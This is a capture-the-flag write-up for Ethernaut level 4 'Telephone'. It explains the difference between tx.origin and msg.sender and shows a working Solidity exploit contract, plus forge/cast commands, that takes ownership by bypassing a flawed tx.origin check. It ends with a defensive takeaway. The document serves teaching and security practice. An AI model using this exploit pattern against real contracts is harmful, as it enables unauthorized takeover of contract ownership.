# Ethernaut Level 04 - Telephone

## Objectives

This level requires us to become the owner of the contract. Plain and simple. Or is it? 

To exploit this, you have to first know the difference between `tx.origin` and `msg.sender`. 
Let's dive in. 

---

## `tx.origin` vs `msg.sender`
Let me simplify this using an [infographic](https://davidkathoh.medium.com/tx-origin-vs-msg-sender-93db7f234cb9) :

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1660372147633/c9w4VjaCM.png align="left")

1. If I'm making a call to a contract `A`, the contract will see both the `tx.origin` and the `msg.sender` as my accounts/contract's address with which I made the call. 
2. If I'm making a call to a contract `A` and then the contract `A` is making another call to contract `B`, then contract `B` will see my account's address in the `tx.origin` but the `msg.sender` will be contract `A`'s address. 

This means that the value of `tx.origin` does not change and is constant. It takes the address of the user or contract who initiates the transaction whereas `msg.seder` is the address of the intermediate contract or user that called the function. 

---

## Analysis
Now that the distinction is made, let's look into the contract logic. 

```solidity
function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
        owner = _owner;
    }
}
```
The function `changeOwner()` has `public` visibility which means that it can be called by anyone. 

It has a  validation condition that checks if the `tx.origin` is not equal to `msg.sender`. If this is true, then sets the new owner to the address passed in the function arguments. 

So to exploit this level, we just need to make sure that our `tx.origin` and `msg.sender` do not match when the Ethernaut's instance receives the function call to `changeOwner()`. 

To bypass this validation, as explained above, we can make use of an intermediary contract `A`, to make the `changeOwner()` call to contract `B` (Ethernaut's contract). 

---

## The Exploit

We won't be using foundry scripts since it will be simpler and easier to just deploy a contract on the Rinkeby network and make a call to the deployed contract. 

The PoC code is inside [`src/level04`](https://github.com/az0mb13/ethernaut-foundry/). Here's how it looks:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../instances/Ilevel04.sol";

contract Tele {
    Telephone level4 = Telephone(0xf2585aB001D77CEF708d2E435D60F9Dbd4fC4aB4);

    function exploit() external {
        level4.changeOwner(0xEAce4b71CA1A128e8B562561f46896D55B9B0246);     
    }
}
```
This contract just makes a call to the `changeOwner()` function of Ethernaut's instance with our wallet's address as the parameter so we can become the new owner. 

We will deploy the contract using the following command: 
```
forge create Tele --private-key $PKEY --rpc-url $RPC_URL
```
To make a call to our exploit function:
```
cast send 0x3C4AaE7bce13f0fdE603F45Cff878F714359fEE2 "exploit()" --private-key $PKEY --rpc-url $RPC_URL
```

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1660373019887/eBsQXPoJP.png align="left")

Once this is done, we will become the new owner by bypassing the `tx.origin != msg.sender` validation. The instance can now be submitted to finish the level. 

> My **Github Repository** containing all the codes: https://github.com/az0mb13/ethernaut-foundry/

---

## Takeaways
Whenever you think of making use of `tx.origin` in a contract, make sure it can't be abused in phishing attacks like the one mentioned on [Solidity By Example](https://solidity-by-example.org/hacks/phishing-with-tx-origin/).

---

#### References
* https://davidkathoh.medium.com/tx-origin-vs-msg-sender-93db7f234cb9
* https://solidity-by-example.org/hacks/phishing-with-tx-origin/

